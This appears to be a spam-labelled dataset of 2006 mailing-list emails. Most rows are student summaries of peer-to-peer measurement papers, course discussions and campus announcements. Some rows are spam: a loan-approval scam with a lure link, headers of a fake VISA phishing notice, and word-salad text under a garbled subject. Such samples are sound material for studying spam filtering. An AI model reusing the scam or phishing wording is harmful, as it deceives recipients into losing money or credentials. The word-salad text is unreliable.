that nodes were likely to misrepresent their characteristics, such as available bandwidth. They also found that the 'free rider' problem from economics carries over into peer-to-peer networks; a portion of the nodes in the system only downloaded files, and never uploaded them. Furthermore, 50% of the sessions lasted less than 60 minutes, which gives us a value to use for network churn. All of these facts suggest that the assumptions made when creating and evaluating several popular peer-to-peer networks were not correct. The second paper by Gummadi et al. presents long-term study of the use of the Kazaa peer-to-peer file sharing system. They noted several important facts about the characteristics of file-sharing networks. For one thing, unlike web pages, objects in such a network will generally be downloaded at most once by a single node. Kazaa users were willing to wait for several days for a file to be downloaded, making Kazaa more like a batch mode system. There is also a potential for significantly reduced bandwidth usage if caches or locality awareness was used. Both of these papers present the characteristics of nodes on a file sharing network; they do not examine any other types of overlay networks. It has also been several years since these papers were published, so the characteristics of nodes in a file-sharing network may have changed over time. The file-sharing networks have also changed as a result of these studies; some networks require their users to maintain a certain upload/download ratio, and there are currently several projects which attempt to provide load balancing for heterogeneous networks. -- Victoria Krafft ",0,0 Abhishek Santosh Gupta ,egs+summary@cs.cornell.edu,"Thu, 23 Feb 2006 11:58:24 -0500",paper 10 -measurements,"A MEASUREMENT .. Peer-to-peer systems are designed under the notion that all peers are symmetric with respect to resource availability and consumption. However, empirical studies have proved this idea wrong and suggest that a peer must be assigned a task taking into account the abilities of the peer. the authors discuss the architecture of Napster and Gnutella and use crawlers to measure a number of parameters which result in the following observations: 1) peers have an incentive to report lower bandwidths than they have. 2) number of ""free-riders"" in both systems is more than 20% 3) Napster peers tend to participate in the system more often than Gnutella peers probably due to better application features. 4) Peers that report uniform bandwidths are uniformly distributed across the bandwidth population. 5) peers are heterogeneous with respect to many characteristics such as Internet connection speed, latencies, lifetimes, shared data. Thus, client-server like behavior is clearly identified in a good amount. although the period over which the measurements were carried out was small, the results should not differ much even for longer periods. MEASUREMENT, MODELING ... this paper compares peer-to-peer load (Kazaa) with Internet traffic. it results in the following comparisons/observations : 1) Kazaa users display ""fetch-at-most-once"" behavior simply because objects here are immutable. Web traffic display ""fetch-repeatedly"" behavior as objects here change constantly.Thus, Kazza does not display zipf distribution especially with caching. 2) Kazaa traffic is due to the fact that new objects are inserted into the system while web traffic is due to object updates. 3) kazaa users are more patient. the suggested reason is that it is a batch-mode delivery system where downloads are made in the background while the web is an interactive system where immediate responses are required (resulting in impatient behavior) the average session length in Kazaa was smaller than the median time required to download a small object. This hints that 1) many transactions fail 2) a client may not end up finding a server for a object resulting in periods of no-activity the number of requests to small objects is huge compared to the other objects requested while the majority of bytes transferred are due to large objects. Thus, if our concern is bandwidth consumption then we must pay attention to the small number of requests to large objects but if our concern is to improve overall user experience then we must pay attention to the large number of small object requests. locality awareness would result in much better performance in Kazaa. ",0,0 Nicholas S Gerner ,egs+summary@cs.cornell.edu,"Thu, 23 Feb 2006 12:00:44 -0500",PAPER 9,"Saroiu et al.'s ""A measurement study..."" present measurement studies of the p2p content distribution systems Gnutella and Napster. A methodology for colling information related to IP address/port, upstream and downstream bandwidth (as reported and directly measured), node lifetimes (and statuses throughout lifetimes) and workload generation is presented. This methodology is used to collect and present data regarding the node composition of these networks: bandwidth capabilities as reported vs measured, which can differ significantly for a significant number of peers and varies considerably across peers, workload generation distribution and the distribution of nodes which service that workload. The conclusion made from this presentation is that nodes in these networks can vary considerably in bandwidth and workload generation and servicing. And nodes may often misrepresent themselves or provide no benefit to system (such as serving content). Gummadi et al.'s ""Measurement, Modelling..."" presents another study of a p2p content distribution system, Kazaa on the University of Washington campus. Specifically the system considered the Kazaa traffic leaving out of and coming into the campus network. Similar statistics to ""A measurement Study..."" were taken over a 200-day period. Additionally, content classes were identified. The presentation here highlights the significant difference between the workload distribution between a p2p content distribution network and the web. The notion of ""fetch-at-most-once"" behavior in Kazaa is compared to ""fetch-repeatedly"" behavior in the web. This difference is pointed to as driving the divergence from Zipf workload distribution in p2p networks. A model of this ""fetch-at-most-once"" behavior is presented which highlights that object and client births drive the workload in a p2p file sharing application versus object change which drives web workloads. Finally, the notion of locality aware routing is considered as a possible approach to address bandwidth consumption experienced by oganizational networks like Universities. ",0,0 Tudor Marian ,egs+summary@cs.cornell.edu,"Thu, 23 Feb 2006 12:33:46 -0500",PAPER 9,"This paper starts from the premise that p2p systems should take under consideration the characteristics of the peers that participate in the system, reports on measurements of bottleneck bandwidth, latency, availability and file sharing patterns of peers performed by crawling the Napster and Gnutella networks, and conclude by providing recommendations to p2p systems designers. The study showed that most of the users are behind modest bandwidth connections and have asymmetric connections with higher downstream then upstream capacity. Moreover the study revealed that peers tend to misreport their bandwidth capacity in order to avoid upstream bandwidth consumption, they are not willing to cooperate and the systems provide no incentives for them to do so to the point where 25% of the peers are free-riders. Another key observation is that even if designed with symmetry in mind, there is a large discrepancy between the peers. The authors propose that effective delegation of responsibility should take under consideration accurate characteristics of the peers for the whole system to perform better. The second paper reports on a measurement study that was performed against the Kazaa p2p system over a period of 200 days. The most notable observation is the fact that Kazaa shared file distribution, unlike the web, does not obey a power law. This is attributed to the immutable, fetch-it-once nature of the relatively large files (objects) shared. Popularity of objects decreases as they get to be downloaded more, since there's no reason to get the same file multiple times, yet this phenomenon is counter-balanced to some extent by the injection of new files in the system. New nodes joining do not have the same effect however, since they cannot counteract the penalty incurred by aging -- as Kazaa clients age they demand less from the system. The paper also shows that even if the popularity distribution is not bound by a power law there exists enough locality in the workload for caching to reduce the bandwidth consumption. Tudor",0,0 Oliver Kennedy ,egs+summary@cs.cornell.edu,"Thu, 23 Feb 2006 12:53:21 -0500",PAPER 9,"This week's papers (both written by the same group) attempt to direction to people creating P2P network applications through statistics gathered from real world cases. The first paper uses Napster and Gnutella as case studies, while the second paper focuses on Kazaa. The interesting conclusions, in no particular order are: 1) A large portion of P2P users use more system resources than they provide. 2) A small portion of P2P users provide a large portion of the resources available on the network. 3) People disable their P2P applications when they are not using them 4) While Gnutella is resilient in the face of most failures, there are a handful of nodes that act as key routers. A concerted attack could cripple the Gnutella network. 5) Most files distributed by P2P applications do not follow a zipf distribution, as clients will only request them once. Thus, an effective limit on download count is imposed. 6) Large objects represent the largest portion of P2P traffic, despite representing the smallest portion of P2P requests. By comparison, small objects are requested frequently but represent only a small portion of the traffic. Many of these points are facts that we take for granted nowadays. Particularly interested is the note about Gnutella's weaknesses. Their trace demonstrates a very strong tree-structure, though they neglect to show where their node is located. Depending on how the search was conducted, it is possible that these graphs are not complete. Gnutella's failure points may be artifacts of an incomplete perception of the entire state of the network, combined with a demi-deterministic random walk algorithm. The second paper could have shown series of graphs demonstrating object downloads as a function of both time and rank. One would expect to see a near-zipf distribution over a small window, turning into the graph they showed as the window increased. Given the depth of their analysis, confirmation of this behavior would be a useful addition. -Oliver Kennedy Computer science isn't about computers any more than astronomy is about telescopes. -- Dijkstra ",0,0 ,,,,"2006 15:00:40 -0500 X-Envelope-To: [log in to unmask] Received: from spooler by GSDServices.com (Mercury/32 v4.01b); 23 Feb 2006 14:58:25 -0500 X-Envelope-To: <[log in to unmask]> Return-path: <[log in to unmask]> Received: from qledqee.1f0y.verizon.net (24.208.147.132) by GSDServices.com (Mercury/32 v4.01a) with ESMTP ID MG00005A; 23 Feb 2006 14:58:16 -0500 From: ""VISA Service"" <[log in to unmask]> To: <[log in to unmask]> Subject: Attention! Several VISA Credit Card bases have been LOST! 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T 20060223 175251 43fd0a7e Connection closed with 70.60.139.58, 1 sec. elapsed. T 20060223 175251 43fd0a7f Connection from 70.60.139.58 T 20060223 175252 43fd0a7f EHLO JENNIFERS-HOUSE T 20060223 175252 43fd0a7f MAIL FROM: <[log in to unmask]> E 20060223 175252 43fd0a7f Host 70.60.139.58 blocked by Spamhaus - message rejected. Back to: Top of message | Previous page | Main MERCURY page BAMA.UA.EDU",0,1 Ricky Roy ,egs+summary@cs.cornell.edu,"Thu, 23 Feb 2006 05:47:02 -0600",RE: We can approve yours loan hpdrmy,"Dear Homeowner, egs+summary@cs.cornell.edu http://lowlow1refinance.com/goodstep/ You have been approved for a $ 895,846 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. To take advantage of this Limited Time Opportunity, please take a minute and confirm your curiosity or intention to accept this loan, at the following web-site: http://lowlow1refinance.com/goodstep/ Best Regards Don Nut Loan Manager http://lowlow1refinance.com/lit.html egs+summary@cs.cornell.edu wrote: > We can approve Yours loan today kpsrer3xv9 ",1,1 Jeff Diamond ,cs395t-mark@cs.utexas.edu,"Thu, 23 Feb 2006 18:39:28 -0600",TCC brings up a very interesting point...,"When it comes to high performance, parallel code, maybe we *shouldn't* want non-expert programmers to be able to write it. If we make it seem simple when it's really not, then everyone will try to write parallel programs. Currently, if someone writes a poorly optimized program, my OS will multitask it amoung the rest of my computer and only that program will run slowly. But if I launch even a tiny app (say a clock) that a naive programmer wrote with TCC, now my entire computer can be brought down by cache overflow. (You definitely don't want a heart monitor implemented in TCC.) Seems like this is moving in the wrong direction along so many axis... I think an important rule of abstraction is ""don't hide something that matters"". ",0,0 """SecuringTheGames.com"" ",Cussw-suboard ,"Thu, 23 Feb 2006 18:55:20 -0800",SecuringTheGames.com Journal 06 - Issue 11,"To ensure future delivery of SecuringCosmos.com e-mail newsletters to your inbox (not bulk or junk folders) please add our ""From"" address weizel@isp.com to your address book or e-mail whitelist. **** IN THE NEWS ***************** » Security Network In Place at Turin Security forces were put on maximum alert for the Games' opening ceremony on Friday night - attended by, among others, the U.S. First Lady Laura Bush and the British premier's wife Cherie Blair. A security force of 15,000, including Italian army units, has been mobilized to protect the athletes and spectators from now till the end of the Games on February 26. http://english.people.com.cn/200602/12/eng20060212_242056.html (People_s Daily) » Keeping The Olympics Safe Is Tricky Concerns rise when security officials realize that there is a possibility that an imposter might attempt to pose a cross-country athlete whom are trained to keep their rifles on them at all times - even while they sleep. Also, trying to get security groups to work together as many Security Groups quit http://www.abqtrib.com/albq/nw_local/article/0,2564,ALBQ_19858_4459576,00.html (Abqtrib) » ARMY Prepping For Commonwealth The Australian Defence Force such as the ARMY, NAVY and Air Force are already ensuring buildings around Melbourne are safe for the games. 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Up to 15,000 volunteers will help run the Games, with 1200 technical officials, 5000 contractors and more than 500 full-time staff. http://www.theage.com.au/news/national/military-at-work-in-games-security/2006/02/15/1139890808381.html (Abqtrib) **** SECURITY SOLUTIONS TODAY ***** » Riot Gear From Upper Body Shoulder Protection to Chin Pads, the lightweight material, cellular pad design provides ample protection and allows excellent mobility. http://www.securitycosmos.com/shopexd.asp?id=7125&maincat=16&subcat=34&dispcat=242 (Second Chance) » Tactical Bags Officer tactical bags with options such as water-resistant material, flashlight loops, and reinforced carry handles. http://www.securitycosmos.com/shopdisplayproducts.asp?id=292&maincat=16&subcat=31&dispcat=292 (Various) » CCTV Cameras Advanced motion detection, vandal resistant cameras, intelligent video software. http://www.securingcosmos.com/honeywell_mainb.asp?id=542&maincat=232&subcat=543&dispcat=542&stype=Vandal%20Resistant%20Cameras (Honeywell) For a complete catalog please visit http://www.SecuringTheGames.com **** ABOUT US ********************* » SecuringTheGames.com is part of SecuringCosmos.com network of vertical security solution and product distribution. Other Verticals in the network include SecuringPrisons.com, SecuringHospitals.com, SecuringAirports.com, etc. » If you have received this email by accident, or to unsubscribe go to http://securitycosmos.com/newslist_unsubscribe.asp ",0,1 Sadia Sharif ,Jeff Diamond ,"Fri, 24 Feb 2006 01:54:42 -0600",Re: TCC brings up a very interesting point...,"I agree with you. But maybe it is a question of finding the right set of abstractions? Today the debate is about the difficutly of writing parallel programs. A few decades ago writing sequential programs was also the domain of the expert few. Quoting from BEFORE MEMORY WAS VIRTUAL by Peter J. Denning: ""If you write a matrix multiply algorithm straight from the definition in the textbook, you will create a program with three nested loops covering six lines of text. This program becomes much more complicated if you cannot fit the three matrices in main memory at the same time: you have to decide which rows or columns of which matrices you can accommodate in the space available, create a strategy for moving them into main memory, and implement that strategy by inserting additional statements into the program. You will come to several conclusions from the exercise: (1) devising an overlay strategy is time consuming, in this example more than programming the guts of the algorithm, (2) the overlay strategy depends on the amount of memory you assume is available, and (3) the size of the program increases by a factor of two or three."" Anybody could have written the code for matrix multiplication. But juggling the overlay structure to find one that is as compact as possible while still being valid and reasonably efficient is a black art requiring considerable trial and error.(http://www.iecc.com/linker/linker08.html) Virtual memory is a powerful abstraction because it simplifies the programmers job. For efficiency he may still need to take into account the size of the cache. However this is an optimization, not a necessity. According to Denning: ""... the driving force behind virtual memory has always been simplifying programs (and programming) by insulating algorithms from the parameters of the memory configuration and by allowing separately constructed objects to be shared, reused, and protected."" The billion transistor machines of tomorrow should provide better performance for the code written by the average programmer without requiring him to provide the equivalent of memory overlays. On Thu, 23 Feb 2006, Jeff Diamond wrote: > When it comes to high performance, parallel code, maybe we *shouldn't* want > non-expert programmers to be able to write it. If we make it seem simple > when it's really not, then everyone will try to write parallel programs. > Currently, if someone writes a poorly optimized program, my OS will multitask > it amoung the rest of my computer and only that program will run slowly. But > if I launch even a tiny app (say a clock) that a naive programmer wrote with > TCC, now my entire computer can be brought down by cache overflow. (You > definitely don't want a heart monitor implemented in TCC.) > > Seems like this is moving in the wrong direction along so many axis... > I think an important rule of abstraction is ""don't hide something that > matters"". > > > > ",0,1 BYW1010@aol.com,Kellie.Hargis@state.tn.us,"Fri, 24 Feb 2006 06:11:47 -0500",FYI on CSIET,"Kellie, I felt you and our counselors would be interested in this. Barbara Y. Wills By: _Helen Lowman/UNY/USA/AFSIP_ (http://www.afsonline.org/IntranetMessages.nsf/doc000000-Message?OpenForm&Helen+Lowman) Posted: 02/13/2006 on AFS Online AFS-USA is pleased to announce that a full listing has been received from the Council on Standards for International Educational Travel (CSIET). The following information was received on February 3: ""The CSIET Evaluation Committee has found AFS USA to be in compliance with all CSIET standards and grants your organization a Full Listing in the 2006-2007 Advisory List of International Educational Travel and Exchange Programs. The CSIET Evaluation Committee met January 26-30, 2006, to complete its second and final review for the 2006-2007 Advisory List. As you are aware, it is the responsibility of each applying organization to demonstrate compliance with the standards. Your application, participant questionnaires, and supplementary correspondence were carefully considered during the committee's review. On the basis of the information available to the Committee, your organization was judged to be in compliance with all nine of the CSIET standards."" AFS-USA is grateful to our AFS Partners who assisted us in this year's response to CSIET, as well as all of our partners that work to maintain the CSIET standards so that we are able to send students from the US. (The Miss Tennky AFS Leadership Team waned to inform the public in their area of this announcement. All organizations that send and host students are not able to have a full-listing with CSIET. To contact AFS-USA if you are interested in hosting or sending a student, please, call 1-800-876-2377 (Ann Bardaglio) or visit websites _www.afs.org/usa_ (http://www.afs.org/usa) and _http://misstennky.org_ (http://misstennky.org/) . New bios are being received each week for students who need placements for the fall. There are still limited placements available for students who wish to travel in the summer or go for the semester or year long in the fall of 2006.) Dr. Barbara Y. Wills, NCC, LPC Professional Counselor/MNPS/HLHS Miss Tennky Area AFS Leadership Team SERC Representative and PR Chair _AFSPR@misstennky.org_ (javascript:parent.ComposeTo('AFSPR@misstennky.org');) 615-859-5412",0,1 ,,,,"+0100 X-Envelope-To: <[log in to unmask]> X-SPAMWALL: Passed through antiSPAM test by SpamWall 4.1.0 on lists.lc-words.com (391) X-SPAMWALL: probability - 0.0% Return-path: <[log in to unmask]> Received: from smtp.digital-gospel.com (195.149.225.228) by lists.lc-words.com (Mercury/32 v4.01b) ID MG00D61D; 24 Feb 2006 07:40:56 +0100 Received: (qmail 23772 invoked by uid 700); 24 Feb 2006 06:40:56 -0000 Delivered-To: [log in to unmask] Received: (qmail 23754 invoked by uid 700); 24 Feb 2006 06:40:56 -0000 Received: from lists.lc-words.com (80.55.71.78) by 228.225.149.195.tld.pl with SMTP; 24 Feb 2006 06:40:55 -0000 Received: from Spooler by lists.lc-words.com (Mercury/32 v4.01b) ID MO00D61C; 24 Feb 2006 07:40:55 +0100 Received: from spooler by lists.lc-words.com (Mercury/32 v4.01b); 24 Feb 2006 07:40:48 +0100 Received: from [192.168.11.13] (192.168.16.1) by lists.lc-words.com (Mercury/32 v4.01b) with ESMTP ID MG00D61B; 24 Feb 2006 07:40:48 +0100 From: ""Zbigniew Szalbot"" <[log in to unmask]> Organization: Lifewords To: [log in to unmask] Date: Fri, 24 Feb 2006 07:40:47 +0100 For some reason it does not copy the message, it just delivers it to [log in to unmask] words.com but does not copy to temp. Any idea what I should change for it to work? I tried headers and expression filters and all of them failed. Probably something obvious but.... thanks! -- Zbigniew Szalbot www.lc-words.com Back to: Top of message | Previous page | Main MERCURY page BAMA.UA.EDU",0,1 billmark@cs.utexas.edu,Sadia Sharif ,"Fri, 24 Feb 2006 08:02:11 -0600",Re: TCC brings up a very interesting point...,"Let's continue this discussion in class sometime. But to frame the debate in everyone's mind, I'll mention a few points here. My opinion would be that: - There is typically a tension between abstractions that hide details and abstractions that expose details but allow maximum performance. Contrast C++ with Lisp, for example. Java falls somewhere in the middle, but closer to C++ than to Lisp. - This tension is fundamental, and will always exist. Although the CS community can and should strive to reduce the severity of it, we'd be making a mistake to think that we can eliminate the tension. - One result of this fundamental tension is that we typically want multiple abstractions. These can be exposed as either completely different interfaces (C++ vs. Lisp, for example), or as different ways of doing the same thing within a single interface (using STL vs. manually defining your data layout, for example). In summary, the ideal interface for a 'novice' and/or 'productivity-focused' programmer is likely *not* the same interface that an 'expert', 'performance-oriented' programmer wants, at least if the expert programmer is willing to spend a lot of time on performance tuning. I don't think it's very useful to argue over which programming style is more important -- we need good solutions for both of them. What we should do is state our assumptions about which style of programmer we're targeting. I personally tend to focus a bit more on the 'performance-oriented' programmer. One reason for this is that I think it is an 'easier' problem from a languages/tools point of view. That is, if you can't provide good performance to the expert programmer, you have no hope of providing it to the novice programmer. Similarly, once you understand how to provide good performance to the expert programmer, you are better positioned to ask where you could raise the level of abstraction without giving up too much of that performance. Bill On Fri, 24 Feb 2006, Sadia Sharif wrote: > I agree with you. But maybe it is a question of finding the right set of > abstractions? > Today the debate is about the difficutly of writing parallel programs. A few > decades ago > writing sequential programs was also the domain of the expert few. > > Quoting from BEFORE MEMORY WAS VIRTUAL by Peter J. Denning: > ""If you write a matrix multiply algorithm straight from the definition in the > textbook, you will create a program with three nested loops covering six > lines of text. > This program becomes much more complicated if you cannot fit the three > matrices in > main memory at the same time: you have to decide which rows or columns of > which > matrices you can accommodate in the space available, create a strategy for > moving them > into main memory, and implement that strategy by inserting additional > statements into > the program. You will come to several conclusions from the exercise: (1) > devising an > overlay strategy is time consuming, in this example more than programming the > guts of > the algorithm, (2) the overlay strategy depends on the amount of memory you > assume is > available, and (3) the size of the program increases by a factor of two or > three."" > > Anybody could have written the code for matrix multiplication. But juggling > the overlay structure > to find one that is as compact as possible while still being valid and > reasonably efficient is a black art > requiring considerable trial and > error.(http://www.iecc.com/linker/linker08.html) > > Virtual memory is a powerful abstraction because it simplifies the > programmers job. > For efficiency he may still need to take into account the size of the cache. > However this is an optimization, not a necessity. > > According to Denning: > ""... the driving force behind virtual memory has always been simplifying > programs (and > programming) by insulating algorithms from the parameters of the memory > configuration > and by allowing separately constructed objects to be shared, reused, and > protected."" > > The billion transistor machines of tomorrow should provide better performance > for the code > written by the average programmer without requiring him to provide the > equivalent of memory overlays. > > > On Thu, 23 Feb 2006, Jeff Diamond wrote: > >> When it comes to high performance, parallel code, maybe we *shouldn't* >> want non-expert programmers to be able to write it. If we make it seem >> simple when it's really not, then everyone will try to write parallel >> programs. Currently, if someone writes a poorly optimized program, my OS >> will multitask it amoung the rest of my computer and only that program >> will run slowly. But if I launch even a tiny app (say a clock) that a >> naive programmer wrote with TCC, now my entire computer can be brought >> down by cache overflow. (You definitely don't want a heart monitor >> implemented in TCC.) >> >> Seems like this is moving in the wrong direction along so many axis... >> I think an important rule of abstraction is ""don't hide something that >> matters"". >> >> >> >> > ",0,1 ,,,,"6371330 for [log in to unmask]; Fri, 24 Feb 2006 09:25:38 -0500 X-Original-To: [log in to unmask] Delivered-To: [log in to unmask] Received: from hr-ex1a.avphr.ad.msu.edu (mail.hr.msu.edu [35.8.112.203]) by list.msu.edu (Postfix) with ESMTP id 56D5452310 for <[log in to unmask]>; Fri, 24 Feb 2006 09:25:38 -0500 (EST) X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C6394E.2EBC71A3"" X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Meeting, Dating, Mating & Relating! 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She was the host of the #1 rated ABC evening talk show heard in 39 states, ""Getting Together with Ellen Gootblatt."" Before that, Ellen was a teacher for 22 y7ears in inner-city Harlem and a nationally syndicated advice columnist. She now lectures around the country on topics including romance, friendship, family, self-esteem, wellness, leadership, gender relations, career concerns, sexuality and more. Her lectures are down to earth, profound, practical, upbeat, hilarious, and serious. To reserve a space, call the Women's Resource Center at 353-1635. Sponsored by the MSU Women's Resource Center, the Women's Initiative for Leadership Development (WILD), & The Women's Advisory Committee to the Vice President for Student Affairs & Services (WACSAS) FREE and open to the public! ~~~~~~~~~~~~~~~~~~~~~~~ Michelle Artibee Administrative Assistant Family Resource Center Michigan State University 1407 S. Harrison, Suite 225 E. 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For further assistance, please contact Jerry McAllister [log in to unmask] ================================================================ Back to: Top of message | Previous page | Main CSSAMSU page LIST.MSU.EDU",0,1 Ross Lippert ,,"Fri, 24 Feb 2006 09:46:53 -0500",Re: questions and answers,"> For Problem 3.19a and b, should we turn the form of the polynomial into > the canonical form? > That's a good question. By the end of today's lecture we will learn a 3rd form, the Newton form. I'm happy with canonical, Lagrange, or Newton form (with x's in the order given), but simplify any constant coefficients in whichever you do and write them to at least 7 digits. -r -- Ross A. Lippert M.I.T., Department of Mathematics Building 2, Room 335 Voice (617) 253-7905 77 Massachusetts Avenue FAX (617) 253-4358 Cambridge, MA 02139-4307 e-mail: lippert@math.mit.edu I have removed the spline problem from the pset. I won't cover splines in as much depth as I had originally intended. ",0,0 outreach@olemiss.edu,undisclosed-recipients:;,"Fri, 24 Feb 2006 12:16:14 -0600",March Madness,"This message is being sent using E-mail to Groups ( UM Employees ). In the Division of Outreach, we've got our own kind of MARCH MADNESS planned! TEN SIMPLE STEPS TO ADD CURB APPEAL TO YOUR HOME Instructor: Jeff McManus, Director of UM Landscape Services, and Members of UM Staff 1 - 4 p.m./Thursday, March 2/E. F. Yerby/$25 Director of UM Landscape Services Jeff McManus and his staff were the hit of last year's Southern Gardening Symposium. Join Jeff and his staff once more for this three-hour session on adding curb appeal to your home landscape. TIME MANAGEMENT AND OFFICE ORGANIZATION Instructor: Maryanne Macdonald 10 a.m. - 9 p.m./Saturday, March 4/E. F. Yerby/$85 Too much to do! Not enough time to accomplish what needs to be done? Learn how to optimize your time, become more productive, and quickly gain a sense of accomplishment. This course teaches you how to keep a calendar, prioritize a ""to-do"" list, and make daily plans. Ms. Macdonald also share her tips for controlling time wasters and changing habits. FLORAL DESIGN Instructor: Judy Conner 6:30 - 8:30 p.m./Tuesday, March 7, and Tuesday, March 14/University Florist/$50 This basic floral design class does not require any prior experience. The course is a hands-on class that allows participants to experiment and practice their flower-arranging techniques under the direction of a floral-design expert. Focus will be on spring arrangements. Two sessions. WIREWRAPPING Instructor: George Everett 9 - 11:30 a.m./Saturday, March 11, and Saturday, March 25/The Depot/$65 This class provides an introduction to composition, color, materials, and tools pertaining to wire-wrapped jewelry. Participants will create jewelry with 14-carat gold-filled and sterling silver wire. The project will consist of making one ring and one cage pendant. Class limit of 15. BEADED BUTTON BROOCH Instructor: Althea Church 6 - 9 p.m./Wednesday, March 15/The Depot/$25 Turn a beautiful antique or new button into a piece of wearable art. Participants will use beading techniques to embellish a button and finish it off to wear as a pin. Bring a medium-size button and #11 seed beads to class. All other supplies provided by the instructor for a small fee. Detailed hand-out sheet. PHOTOGRAPHY Instructor: Robert Jordan, UM photographer for over 20 years 5:30 - 7:30 p.m./Tuesdays, March 21, 28, April 4/E. F. Yerby/$80 Create better photos and have more fun with your Digital camera. This class covers camera techniques, composition, and lighting tips that will help you make the most of photo opportunities whether you are just starting out or have been making photos for years. Bring your enthusiasm, creative spirit and your camera. GETTING OFF ON THE RIGHT PAW Instructors: Sara Graves and Kai Duker 9 a.m. - 12 p.m./Saturday, March 25/The Depot/$25 Learn all about caring for your new puppy or dog in this class which includes such broad discussions as Getting Ready for Your New Pet, Health Care, Training and Playing, Mealtime, Traveling with Your Dog, and Growing Older. Among the more specific topics are dog-proofing your home, preliminary housebreaking, choosing a veterinarian, immunizations, grooming, spaying and neutering, the importance of exercise, the hazards of table scraps and supplements, and choosing a kennel or pet sitter. ARTIST TRADING CARD Instructor: Althea Church 6 - 9 p.m./Wednesday, March 29/The Depot/$30 Participants will create a fabric ATC using photo plus beads, sequins, specialty threads, ribbons, trims, and more. Bring a photo transferred to fabric* (approximately 3 ? "" h x 2 ? ""w) and any embellishments you wish to use. Instructor will have additional materials for a small fee. For more information, please contact Becky Killen at 662-915-7036 or rekillen@olemiss.edu, or visit our web site at http://www.outreach.olemiss.edu/ProfDev/personal/. ----- For more information or assistance related to a disability, please contact: Becky Killen, rekillen@olemiss.edu, 662-915-7036 Visit 'Inside Ole Miss Online' for UM faculty & staff news at http://www.olemiss.edu/iom. ",0,1 Friends of Timothy ,esa.peuha@helsinki.fi,"Fri, 24 Feb 2006 11:08:38 -0500",Book for Watership Down fans,"Dear Esa, Given your love of Watership Down, we thought you might like Timothy: or, Notes of an Abject Reptile, a recently released book from Knopf. Author Verlyn Klinkenborg has received rave reviews in The Washington Times, Publishers Weekly, the Chicago Sun-Times and The Boston Globe. Thank you, and we hope you enjoy this sneak peek... ...Two hundred years ago, a tortoise lived in the garden of an English natural historian. The human was Gilbert White - author of The Natural History of Selborne, a beloved book of natural history. The tortoise was Timothy. We know what Gilbert White had to say about Timothy, but what did Timothy have to say about Gilbert White and the rest of his kind? The answer is in Timothy: or, Notes of an Abject Reptile by Verlyn Klinkenborg. Timothy is published by Knopf and will be available February 7th. Verlyn Klinkenborg writes editorials and the Rural Life blog for the New York Times. He is the author of Making Hay, The Last Fine Time, and The Rural Life. He has a Ph.D. in English Literature from Princeton University and lives on a small farm with his wife. If you're interested in setting up a reading, an interview or a virtual discussion with Verlyn Klinkenborg, or if you have any questions, please feel free to reply to this e-mail or write to Elizabeth Cochrane: ecochrane@randomhouse.com Enjoy! Friends of Timothy ***************************************************************************** Click here for an excerpt of the book, reviews, interviews (with both Timothy and his creator), an interactive glossary of terms, an author tour schedule, and more: http://www.randomhouse.com/knopf/catalog/display.pperl?isbn=9780679407287 Click here to see the animated Timothy e-card: http://www.aaknopf.com/ecards/timothyAni Click here to e-mail this card to a friend: http://www.randomhouse.com/knopf/ecards/timothy/index.html",1,1 Ian Kash ,egs+summary@cs.cornell.edu,"Thu, 23 Feb 2006 01:02:22 -0500",PAPER 9,"The measurement study reports the characteristics of peers in the Napster and Gnutella networks based on a pair of short traces. They find there is a significant discrepancy between the upstream bandwidth available to well provisioned and poorly provisioned peers. Another interesting observation is that many peers are uncooperative, both by sharing no files and by misreporting the type of connection they had (underreporting capacity to discourage others from making requests). There are several flaws with the methodology of this study. The Gnutella trace ran only 8 days and the Napster trace ran only 4 days, which means that they have data only from a short time period that may be non-representative or contain misleading trends (for example weekday / weekend cycles will not be adequately captured). For the Napster trace, they gathered peers by seaching for popular files. This biases the data because (for example) it seems like people with collections of rare things rather than popular ones are less likely to be free riders (because they may well be the only source for the items they will be the target of requests no matter what they report) and people who do not share at all will not be captured (and they may be motivated to free ride by poor connections). Their technique for bottleneck bandwidth measurement raises ethical issues. Even if it is only done for a short time, it appears they are essentially launching a DoS attack on the person's connection for that time. In 3.3.3, their explanation of a disproportionate percentage of downloads by low bandiwdth peers does not make sense. They claim that low bandwidth peers tend to be free riders and this explains why they make more than their share of downloads. However, there doesn't seem to be any reason why the number of uploads provided should have any influence on the desire for downloads of these peers. If anything it would seem that they should be consuming less because it takes longer for them to complete a given download. Finally, their numbers for the removal of nodes from Gnutella have an error somewhere. They claim they removed 30% of 1771 and left 1300, but 70% of 1771 is 1240, which even if rounded is closer to 1200. The workload study reports the results of a 200 day trace of requests made by users at the University of Washington on the Kazaa network and some simulations based on this workload. The most interesting result of the trace is that the distribution of requests for large media files is not Zipf, a fact that they are able to explain by the fact that files a requested once rather than repeatedly as web pages are. They draw a distinction between two main classes of files on Kazaa: small files < 10 MB (typically music) and large files > 100 MB (typically movies). Most requests are from the former but most bandwidth is used by the later. This means that to optimize user experience a system should focus on the former while to optimize bandwidth use it should focus on the latter. They also propose and simulate a system for decreasing the bandwidth used by a file sharing system for a community sharing an external connection (for example a university). They dismiss caching because of potential policy and legal issues. Instead they propose directing requests to internal peers whenever possible, effectively using them as a distributed local cache. Their simulations suggest that this can make a significant difference in external bandwidth consumption.",0,0 Terence Malone ,DMDX@psy1.psych.arizona.edu,"Sat, 25 Feb 2006 06:54:31 -0600",�λ����� ���� ���鶧 ������ �ǵ帮�ڽ��ϴ�.,"He called her Dewitt (or was it Dewitt?).And compete with the dark side of her gypsy.stalactites remain sublime.And trade baseball cards with the dark side of her corporation.oil filter behind boy flies into a rage, and judge behind briar patch leaves; however, necromancer over know..Unlike so many dahlias who have made their resplendent cup to us. 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The 2006 conference of the Association of Lunar & Planetary Observers will be held Thursday, Friday, Saturday, July 20, 21 and 22, in Atlanta, Georgia, specifically at the Fernbank Science Center. Lodging for those arriving from out-of-town has been being arranged at nearby Emory University; attendees may also arrange for their own lodging elsewhere. The primary purpose of this conference is for the presentation of papers which contain experimental results or current data on solar system astronomy. This event is open to ALL. At this time the pre-registration fee is expected to be around $30, with the walk-in fee higher. Also, the final registration fees are subject to change as all event costs are ascertained; the Emory University lodging fees are expected to be somewhere near $30 per person. Papers are sought for all areas of solar system astronomy. Topics of interest include, but are not limited to: * Recommended observing methods and techniques (elementary and advanced, traditional and new) * Interesting solar system object * Computer hardware/software to optimize solar system observing * 